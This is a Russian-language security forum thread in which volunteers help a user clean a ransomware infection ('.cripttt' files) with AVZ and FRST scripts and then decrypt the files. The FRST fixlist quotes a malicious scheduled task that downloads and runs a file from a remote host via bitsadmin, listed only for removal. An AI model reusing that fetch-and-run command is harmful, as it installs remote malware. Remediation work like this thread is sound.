Перейти к содержанию
Объявляем набор участников в программу «Развитие сообществ клуба в мессенджерах»
Конкурс по разработке Telegram-бота Kaspersky Club

Вирус шифровальщик замена формата на ".cripttt"

JekaMinsk
 Поделиться

Рекомендуемые сообщения

JekaMinsk Новичок

JekaMinsk

Опубликовано
Опубликовано

Здравствуйте!

Друг принес комп, сказав подцепил какой то вирус я так понял с инета. Все файлы ".jpg .doc" зашифрованы. имеют расширение .cripttt. Скачал из инета антивирусник  Dr.Web CureIt. Запускался через USB флешку. После сканирование были обнаружен Криптовирус. Dr.Web благополучно с ним расправился. Но файлы по прежнему зашифрованы. Чем можно их расшифровать? Помогите модераторы и форумчане!!! 

 

 

 


 

CollectionLog-2016.04.19-23.59.zip

Ссылка на комментарий
Поделиться на другие сайты
Sandor Мудрец

Sandor

Опубликовано
Опубликовано

Здравствуйте!

 

Через Панель управления - Удаление программ - удалите нежелательное ПО:

Free VPN version 3.2

HDef

TSearch

 

Закройте все программы, временно выгрузите антивирус, файерволл и прочее защитное ПО.

 

Выполните скрипт в AVZ (Файл - Выполнить скрипт):

 

begin
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
SearchRootkit(true, true);
SetAVZGuardStatus(True);
 QuarantineFile('C:\Users\Администратор\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk', '');
 QuarantineFile('C:\Users\Администратор\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk', '');
 QuarantineFile('C:\Users\Администратор\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk', '');
 QuarantineFile('C:\ProgramData\OZEXbaP\MsDMTKWwhP5.exe', '');
 QuarantineFile('C:\Users\Администратор\AppData\Local\Microsoft\Start Menu\Вoйти в Интeрнeт.ico', '');
 QuarantineFileF('C:\ProgramData\OZEXbaP', '*', true, '', 0, 0);
 QuarantineFileF('c:\programdata\timetasks', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.js*, *.tmp*', true, '', 0 ,0);
 QuarantineFileF('c:\program files\zaxar', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.js*, *.tmp*', true, '', 0 ,0);
 QuarantineFile('C:\ProgramData\TimeTasks\timetasks.exe', '');
 QuarantineFile('C:\Program Files\Zaxar\ZaxarGameBrowser.exe', '');
 QuarantineFile('C:\Program Files\Zaxar\ZaxarLoader.exe', '');
 QuarantineFile('C:\$Recycle.Bin\S-1-5-21-838487189-539206816-3623330401-500\hl.exe', '');
 DeleteFile('C:\ProgramData\OZEXbaP\MsDMTKWwhP5.exe', '');
 DeleteFile('C:\Users\Администратор\AppData\Local\Microsoft\Start Menu\Вoйти в Интeрнeт.ico', '');
 DeleteFile('C:\ProgramData\TimeTasks\timetasks.exe', '32');
 DeleteFile('C:\Program Files\Zaxar\ZaxarGameBrowser.exe', '32');
 DeleteFile('C:\Program Files\Zaxar\ZaxarLoader.exe', '32');
 DeleteFile('C:\$Recycle.Bin\S-1-5-21-838487189-539206816-3623330401-500\hl.exe', '32');
 DeleteFileMask('C:\ProgramData\OZEXbaP', '*', true);
 DeleteFileMask('c:\programdata\timetasks', '*', true);
 DeleteFileMask('c:\program files\zaxar', '*', true);
 DeleteDirectory('C:\ProgramData\OZEXbaP');
 DeleteDirectory('c:\programdata\timetasks');
 DeleteDirectory('c:\program files\zaxar');
 RegKeyParamDel('HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\mckjnfvypt','command');
 RegKeyParamDel('HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\Timestasks','command');
 RegKeyParamDel('HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\ZaxarGameBrowser','command');
 RegKeyParamDel('HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\ZaxarLoader','command');
BC_ImportALL;
ExecuteSysClean;
BC_Activate;
RebootWindows(true);
end.
Компьютер перезагрузится. После перезагрузки, выполните такой скрипт:

 

begin
CreateQurantineArchive(GetAVZDirectory+'quarantine.zip'); 
end.
Файл quarantine.zip из папки с распакованной утилитой AVZ отправьте отправьте по адресу newvirus@kaspersky.com

 

Полученный ответ сообщите здесь (с указанием номера KLAN)

 

 

Файл CheckBrowserLnk.log

из папки

...\AutoLogger\CheckBrowserLnk

перетащите на утилиту ClearLNK.

 

move.gif

 

Отчёт о работе в виде файла ClearLNK-<Дата>.log прикрепите к вашему следующему сообщению.

  • Скачайте AdwCleaner (by Xplode) и сохраните его на Рабочем столе.
  • Запустите его (в ОС Vista/Windows 7, 8, 8.1, 10 необходимо запускать через правую кн. мыши от имени администратора), нажмите кнопку "Scan" ("Сканировать") и дождитесь окончания сканирования.
  • Когда сканирование будет завершено, отчет будет сохранен в следующем расположении: C:\AdwCleaner\AdwCleaner[s1].txt.
  • Прикрепите отчет к своему следующему сообщению.
Подробнее читайте в этом руководстве.
Ссылка на комментарий
Поделиться на другие сайты
JekaMinsk Новичок

JekaMinsk

Опубликовано
  • Автор
Опубликовано

Здравствуйте!

 

Через Панель управления - Удаление программ - удалите нежелательное ПО:

Free VPN version 3.2

HDef

TSearch

 

1 Данные вредоносные ПО были найдены и удалены, через удаление программ.

2 Отчет с указанием номера KLAN от kaspersky.com

 

Запрос на исследование вредоносного файла [KLAN-4121322111]

 

Здравствуйте,

Это сообщение сформировано автоматической системой приёма писем. Сообщение содержит информацию о том, какие вердикты на файлы (если таковые есть в письме) выносит Антивирус с последними обновлениями. 

 

Launch Internet Explorer Browser.lnk,

Internet Explorer.lnk,

Internet Explorer (No Add-ons).lnk,

MsDMTKWwhP5.exe,

Вoйти в Интeрнeт.ico,

DASgejVsp,

EPCCiD,

isVWuQwD,

JkWnSm,

LHUgdehX,

QJwHdFjw,

zInxQL,

bcqr00003.dat,

bcqr00004.dat,

bcqr00005.dat,

bcqr00006.dat,

bcqr00009.dat,

bcqr00010.dat

 

Получен набор неизвестных файлов, они будут переданы в Вирусную Лабораторию.

 

С уважением, Лаборатория Касперского

 

"125212, Россия, Москва, Ленинградское шоссе, д.39А, стр.3 Тел./факс: + 7 (495) 797 8700 http://www.kaspersky.ruhttp://www.viruslist.ru"

3. Отчёт о работе в виде файла ClearLNK-<Дата>.log

4.

 

  • Скачайте AdwCleaner (by Xplode) и сохраните его на Рабочем столе.
  • Запустите его (в ОС Vista/Windows 7, 8, 8.1, 10 необходимо запускать через правую кн. мыши от имени администратора), нажмите кнопку "Scan" ("Сканировать") и дождитесь окончания сканирования.
  • Когда сканирование будет завершено, отчет будет сохранен в следующем расположении: C:\AdwCleaner\AdwCleaner[s1].txt.
  • Прикрепите отчет к своему следующему сообщению.
Подробнее читайте в этом руководстве.

 

 

+ Пришлите еще 5 зашифрованных файлов в архиве.

Интересно что в каждой папке где находятся зашифрованные документы либо фотографии присутствует странный файел "SHTODELATVAM.txt" 

ClearLNK-20.04.2016_21-17.rar

AdwCleanerS1.txt

5 зашифрованных файлов.rar

Ссылка на комментарий
Поделиться на другие сайты
Sandor Мудрец

Sandor

Опубликовано
Опубликовано

1.

  • Запустите повторно AdwCleaner (by Xplode) (в ОС Vista/Windows 7, 8, 8.1, 10 необходимо запускать через правую кн. мыши от имени администратора).
  • Нажмите кнопку "Scan" ("Сканировать").
  • По окончании сканирования в меню Настройки отметьте дополнительно:
    • Сброс политик IE
    • Сброс политик Chrome
  • Нажмите кнопку "Cleaning" ("Очистка") и дождитесь окончания удаления.
  • Когда удаление будет завершено, отчет будет сохранен в следующем расположении: C:\AdwCleaner\AdwCleaner[C1].txt.
  • Прикрепите отчет к своему следующему сообщению
Внимание: Для успешного удаления нужна перезагрузка компьютера!!!.

 

Очистите средствами AdwCleaner всё, кроме папок от mail.ru. Если программами от mail.ru не пользуетесь, то их тоже очистите.

 

Подробнее читайте в этом руководстве.

 

 

2.

Скачайте Farbar Recovery Scan Tool и сохраните на Рабочем столе.

 

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.

Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.

Отметьте галочкой также "Shortcut.txt".

 

Нажмите кнопку Scan.

После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt, Shortcut.txt в той же папке, откуда была запущена программа. Прикрепите отчеты к своему следующему сообщению.

Подробнее читайте в этом руководстве.

Ссылка на комментарий
Поделиться на другие сайты
JekaMinsk Новичок

JekaMinsk

Опубликовано
  • Автор
Опубликовано

1.

  • Запустите повторно AdwCleaner (by Xplode) (в ОС Vista/Windows 7, 8, 8.1, 10 необходимо запускать через правую кн. мыши от имени администратора).
  • Нажмите кнопку "Scan" ("Сканировать").
  • По окончании сканирования в меню Настройки отметьте дополнительно:
    • Сброс политик IE
    • Сброс политик Chrome
  • Нажмите кнопку "Cleaning" ("Очистка") и дождитесь окончания удаления.
  • Когда удаление будет завершено, отчет будет сохранен в следующем расположении: C:\AdwCleaner\AdwCleaner[C1].txt.
  • Прикрепите отчет к своему следующему сообщению
Внимание: Для успешного удаления нужна перезагрузка компьютера!.

 

Очистите средствами AdwCleaner всё, кроме папок от mail.ru. Если программами от mail.ru не пользуетесь, то их тоже очистите.

 

Подробнее читайте в этом руководстве.

 

2.

Скачайте Farbar Recovery Scan Tool и сохраните на Рабочем столе.

 

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.

Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.

Отметьте галочкой также "Shortcut.txt".

 

Нажмите кнопку Scan.

После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt, Shortcut.txt в той же папке, откуда была запущена программа. Прикрепите отчеты к своему следующему сообщению.

Подробнее читайте в этом руководстве. 

AdwCleanerC1.txt

Addition.txt

Shortcut.txt

FRST.txt

Ссылка на комментарий
Поделиться на другие сайты
Sandor Мудрец

Sandor

Опубликовано
Опубликовано

Откройте Блокнот (Старт =>Программы => Стандартные => Блокнот). Скопируйте в него следующий код:

start
CreateRestorePoint:
CHR Extension: (No Name) - C:\Users\Администратор\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2015-02-06]
2016-04-01 18:17 - 2016-04-01 18:17 - 00000000 ____D C:\Users\Все пользователи\xuqltMACM
2016-04-01 17:08 - 2016-04-01 17:08 - 00000000 ____D C:\Users\Все пользователи\qOfpbRkMBf
2016-04-01 17:08 - 2016-04-01 17:08 - 00000000 ____D C:\Users\Все пользователи\pZOPQzLBa
2016-04-01 17:06 - 2016-04-01 17:06 - 00000000 ____D C:\Users\Все пользователи\vuUaxY
2016-04-01 17:06 - 2016-04-01 17:06 - 00000000 ____D C:\Users\Все пользователи\HJxGJRhsv
2016-03-30 19:44 - 2016-03-30 19:44 - 00000000 ____D C:\Users\Все пользователи\LxAjlXZ
2016-03-30 19:44 - 2016-03-30 19:44 - 00000000 ____D C:\Users\Все пользователи\FGiSTPeoH
2016-03-29 19:54 - 2016-03-29 19:54 - 00000000 ____D C:\Users\Все пользователи\rfgalywbQg
2016-03-29 19:54 - 2016-03-29 19:54 - 00000000 ____D C:\Users\Все пользователи\lGIOZHApuF
2016-03-28 19:17 - 2016-03-28 19:17 - 00000000 ____D C:\Users\Все пользователи\SZgIlH
2016-03-28 19:16 - 2016-03-28 19:16 - 00000000 ____D C:\Users\Все пользователи\eHRdzAiobR
2016-03-28 19:15 - 2016-03-28 19:15 - 00000000 ____D C:\Users\Все пользователи\PpNYhjlp
2016-03-28 19:15 - 2016-03-28 19:15 - 00000000 ____D C:\Users\Все пользователи\FVQYSq
2016-03-27 16:07 - 2016-03-27 16:07 - 00000000 ____D C:\Users\Все пользователи\ttHjKn
2016-03-27 16:07 - 2016-03-27 16:07 - 00000000 ____D C:\Users\Все пользователи\FOzWWE
2016-03-27 16:06 - 2016-03-27 16:06 - 00000000 ____D C:\Users\Все пользователи\MRKGgmNoV
2016-03-27 16:06 - 2016-03-27 16:06 - 00000000 ____D C:\Users\Все пользователи\IdsZSUhDpd
2016-03-25 18:02 - 2016-03-25 18:02 - 00000000 ____D C:\Users\Все пользователи\EeCqIwUB
2016-03-25 18:02 - 2016-03-25 18:02 - 00000000 ____D C:\Users\Все пользователи\cXnAmNove
2016-03-24 17:41 - 2016-03-24 17:41 - 00000000 ____D C:\Users\Все пользователи\NjoQsaIAN
2016-03-24 17:41 - 2016-03-24 17:41 - 00000000 ____D C:\Users\Все пользователи\jrPsOSWaGD
C:\Users\Администратор\AppData\Local\Temp\2B80.tmp.exe
C:\Users\Администратор\AppData\Local\Temp\AmigoDistrib.exe
C:\Users\Администратор\AppData\Local\Temp\Archive_File231144.exe
C:\Users\Администратор\AppData\Local\Temp\bdfilters.dll
C:\Users\Администратор\AppData\Local\Temp\BingSvc.exe
C:\Users\Администратор\AppData\Local\Temp\BSvcProcessor.exe
C:\Users\Администратор\AppData\Local\Temp\BSvcUpdater.exe
C:\Users\Администратор\AppData\Local\Temp\doit.exe
C:\Users\Администратор\AppData\Local\Temp\gdiplus.dll
C:\Users\Администратор\AppData\Local\Temp\hcv_mailruhomesearch (1).exe
C:\Users\Администратор\AppData\Local\Temp\hcv_mailruhomesearch (2).exe
C:\Users\Администратор\AppData\Local\Temp\hcv_mailruhomesearch.exe
C:\Users\Администратор\AppData\Local\Temp\jre-8u77-windows-au.exe
C:\Users\Администратор\AppData\Local\Temp\libeay32.dll
C:\Users\Администратор\AppData\Local\Temp\mailruhomesearch.exe
C:\Users\Администратор\AppData\Local\Temp\msvcr120.dll
C:\Users\Администратор\AppData\Local\Temp\nsv53CE.tmp.exe
C:\Users\Администратор\AppData\Local\Temp\R2PCServ.exe
C:\Users\Администратор\AppData\Local\Temp\R2PCSH.exe
C:\Users\Администратор\AppData\Local\Temp\shfolder.dll
C:\Users\Администратор\AppData\Local\Temp\SkypeSetup.exe
C:\Users\Администратор\AppData\Local\Temp\sq1jWew1eVnC.exe
Task: {5B37196C-6235-42AA-98ED-7B1279F008B1} - System32\Tasks\{D760A4E6-34A9-4BF6-8211-043F0CB96C60} => c:\users\Администратор\appdata\local\amigo\application\amigo.exe
Task: {7E7EA1CE-B09B-4557-9175-DC102A711C74} - System32\Tasks\RotatorCom => "/q /c start /min /wait bitsadmin /transfer d /download /priority foreground hxxp://krible-krable-bums.com/api/task/1000379.lnk %TMP%\torrent.lnk & start %TMP%\torrent.lnk"
C:\Users\Администратор\Desktop\Войны престолов.lnk
FirewallRules: [{49BDEB57-6884-481F-A527-10D346EC13F5}] => (Allow) C:\Program Files\UBar\ubar.exe
Reboot:
end
и сохраните как fixlist.txt в папку с Farbar Recovery Scan Tool.

Отключите до перезагрузки антивирус, запустите FRST, нажмите Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.

Компьютер будет перезагружен автоматически.

Подробнее читайте в этом руководстве.

Ссылка на комментарий
Поделиться на другие сайты
JekaMinsk Новичок

JekaMinsk

Опубликовано
  • Автор
Опубликовано

Откройте Блокнот (Старт =>Программы => Стандартные => Блокнот). Скопируйте в него следующий код:

start
CreateRestorePoint:
CHR Extension: (No Name) - C:\Users\Администратор\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2015-02-06]
2016-04-01 18:17 - 2016-04-01 18:17 - 00000000 ____D C:\Users\Все пользователи\xuqltMACM
2016-04-01 17:08 - 2016-04-01 17:08 - 00000000 ____D C:\Users\Все пользователи\qOfpbRkMBf
2016-04-01 17:08 - 2016-04-01 17:08 - 00000000 ____D C:\Users\Все пользователи\pZOPQzLBa
2016-04-01 17:06 - 2016-04-01 17:06 - 00000000 ____D C:\Users\Все пользователи\vuUaxY
2016-04-01 17:06 - 2016-04-01 17:06 - 00000000 ____D C:\Users\Все пользователи\HJxGJRhsv
2016-03-30 19:44 - 2016-03-30 19:44 - 00000000 ____D C:\Users\Все пользователи\LxAjlXZ
2016-03-30 19:44 - 2016-03-30 19:44 - 00000000 ____D C:\Users\Все пользователи\FGiSTPeoH
2016-03-29 19:54 - 2016-03-29 19:54 - 00000000 ____D C:\Users\Все пользователи\rfgalywbQg
2016-03-29 19:54 - 2016-03-29 19:54 - 00000000 ____D C:\Users\Все пользователи\lGIOZHApuF
2016-03-28 19:17 - 2016-03-28 19:17 - 00000000 ____D C:\Users\Все пользователи\SZgIlH
2016-03-28 19:16 - 2016-03-28 19:16 - 00000000 ____D C:\Users\Все пользователи\eHRdzAiobR
2016-03-28 19:15 - 2016-03-28 19:15 - 00000000 ____D C:\Users\Все пользователи\PpNYhjlp
2016-03-28 19:15 - 2016-03-28 19:15 - 00000000 ____D C:\Users\Все пользователи\FVQYSq
2016-03-27 16:07 - 2016-03-27 16:07 - 00000000 ____D C:\Users\Все пользователи\ttHjKn
2016-03-27 16:07 - 2016-03-27 16:07 - 00000000 ____D C:\Users\Все пользователи\FOzWWE
2016-03-27 16:06 - 2016-03-27 16:06 - 00000000 ____D C:\Users\Все пользователи\MRKGgmNoV
2016-03-27 16:06 - 2016-03-27 16:06 - 00000000 ____D C:\Users\Все пользователи\IdsZSUhDpd
2016-03-25 18:02 - 2016-03-25 18:02 - 00000000 ____D C:\Users\Все пользователи\EeCqIwUB
2016-03-25 18:02 - 2016-03-25 18:02 - 00000000 ____D C:\Users\Все пользователи\cXnAmNove
2016-03-24 17:41 - 2016-03-24 17:41 - 00000000 ____D C:\Users\Все пользователи\NjoQsaIAN
2016-03-24 17:41 - 2016-03-24 17:41 - 00000000 ____D C:\Users\Все пользователи\jrPsOSWaGD
C:\Users\Администратор\AppData\Local\Temp\2B80.tmp.exe
C:\Users\Администратор\AppData\Local\Temp\AmigoDistrib.exe
C:\Users\Администратор\AppData\Local\Temp\Archive_File231144.exe
C:\Users\Администратор\AppData\Local\Temp\bdfilters.dll
C:\Users\Администратор\AppData\Local\Temp\BingSvc.exe
C:\Users\Администратор\AppData\Local\Temp\BSvcProcessor.exe
C:\Users\Администратор\AppData\Local\Temp\BSvcUpdater.exe
C:\Users\Администратор\AppData\Local\Temp\doit.exe
C:\Users\Администратор\AppData\Local\Temp\gdiplus.dll
C:\Users\Администратор\AppData\Local\Temp\hcv_mailruhomesearch (1).exe
C:\Users\Администратор\AppData\Local\Temp\hcv_mailruhomesearch (2).exe
C:\Users\Администратор\AppData\Local\Temp\hcv_mailruhomesearch.exe
C:\Users\Администратор\AppData\Local\Temp\jre-8u77-windows-au.exe
C:\Users\Администратор\AppData\Local\Temp\libeay32.dll
C:\Users\Администратор\AppData\Local\Temp\mailruhomesearch.exe
C:\Users\Администратор\AppData\Local\Temp\msvcr120.dll
C:\Users\Администратор\AppData\Local\Temp\nsv53CE.tmp.exe
C:\Users\Администратор\AppData\Local\Temp\R2PCServ.exe
C:\Users\Администратор\AppData\Local\Temp\R2PCSH.exe
C:\Users\Администратор\AppData\Local\Temp\shfolder.dll
C:\Users\Администратор\AppData\Local\Temp\SkypeSetup.exe
C:\Users\Администратор\AppData\Local\Temp\sq1jWew1eVnC.exe
Task: {5B37196C-6235-42AA-98ED-7B1279F008B1} - System32\Tasks\{D760A4E6-34A9-4BF6-8211-043F0CB96C60} => c:\users\Администратор\appdata\local\amigo\application\amigo.exe
Task: {7E7EA1CE-B09B-4557-9175-DC102A711C74} - System32\Tasks\RotatorCom => "/q /c start /min /wait bitsadmin /transfer d /download /priority foreground hxxp://krible-krable-bums.com/api/task/1000379.lnk %TMP%\torrent.lnk & start %TMP%\torrent.lnk"
C:\Users\Администратор\Desktop\Войны престолов.lnk
FirewallRules: [{49BDEB57-6884-481F-A527-10D346EC13F5}] => (Allow) C:\Program Files\UBar\ubar.exe
Reboot:
end
и сохраните как fixlist.txt в папку с Farbar Recovery Scan Tool.

Отключите до перезагрузки антивирус, запустите FRST, нажмите Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.

Компьютер будет перезагружен автоматически.

Подробнее читайте в этом руководстве.

 

Fixlog.txt

Ссылка на комментарий
Поделиться на другие сайты
JekaMinsk Новичок

JekaMinsk

Опубликовано
  • Автор
Опубликовано

Все супер!

 

Найдено 16505

Расшифровано 16264

 

Большое спасибо!!!!!

 

Я в отчете так и не разобрался где находятся эти не расшифрованные. Уж очень он весомый.

Что с копиями теперь делать?  Удалить повторно при расшифровке?

Ссылка на комментарий
Поделиться на другие сайты
mike 1 Мудрец

mike 1

Опубликовано
Опубликовано 
16:38:48.0321 0x0b6c  CheckFile: DecryptFile(\\?\E:\ФОТОГРАФИИ\болгария 1 2014\DSC_0783.JPG.cripttt) error

Где есть такая строка, те файлы не расшифровались. Скопируйте все такие файлы в одну папку, упакуйте в архив, загрузите на Яндекс диск и пришлите ссылку мне в ЛС.

  • Спасибо (+1) 1
  • Согласен 1
Ссылка на комментарий
Поделиться на другие сайты

Пожалуйста, войдите, чтобы комментировать

Вы сможете оставить комментарий после входа в



Войти
 Поделиться
Перейти к списку тем

  • Похожий контент

    • Анди25
      Замена сертификата на сервере ksc
      Автор Анди25
      День добрый,
       
      Сменился сервер и имя, из бэкап восстановил, но все сертификаты естественно указывают на прежний.
      Подскажите как сертификат сменить непосредственно на Kaspersky Security Center (не для работы мобильных клиентов и web, они легко меняются через mmc)
       
      Нашел описание по утилите klsetsrvcert, но чего-то не хватает, не проходит создание.
      "C:\Program Files (x86)\Kaspersky Lab\Kaspersky Security Center\klsetsrvcert.exe" -t C -i C:\0\klserver.cer -p testpass -o NoCA
    • boshs
      вирус шифровальщик UUUUUU.uuu
      Автор boshs
      Помогите пожалуйста с вирусом шифровальщиком UUUUUUU.uuu на флешке (204гб информации, видео, фото, файлов и т.д) файлы были опознаны как ошибка системой виндовс из-за чего файлы перестали быть видны, но при этом их данные видны через программы, резервных копий нету, изменять файлы (заархивированный файл, zip и ярлык не создаются)

    • Olga650
      вирус шифровальщик (.1mJ3g1TA4)
      Автор Olga650
      Addition.txtFRST.txtТабель 2025 (.1mJ3g1TA4)  ссылка удалена облако с вирусом (без пароля)
      Отчёт Касперского.txt 1mJ3g1TA4.README.txt  Поймали вирус шифровальщик 26.02. Антивирус не стоял. После был установлен Касперский стандарт. Стандартные решения по расшифровке не помогли. Удалось найти несколько документов оригиналов, до шифровки и после.
       
      Строгое предупреждение от модератора Mark D. Pearlstone Не публикуйте вредоносные файлы, а также ссылки на них.
       
    • boshs
      вирус шифровальщик UUUUUU.uuu
      Автор boshs
      Помогите пожалуйста с вирусом шифровальщиком UUUUUUU.uuu на флешке (204гб информации, видео, фото, файлов и т.д) файлы были опознаны как ошибка системой виндовс из-за чего файлы перестали быть видны, но при этом их данные видны через программы, резервных копий нету, изменять файлы (заархивированный файл, zip и ярлык не создаются)
    • CreativeArch
      Вирус шифровальщик, можно ли восстановить файлы?
      Автор CreativeArch
      Log.7z
×
×
  • Создать...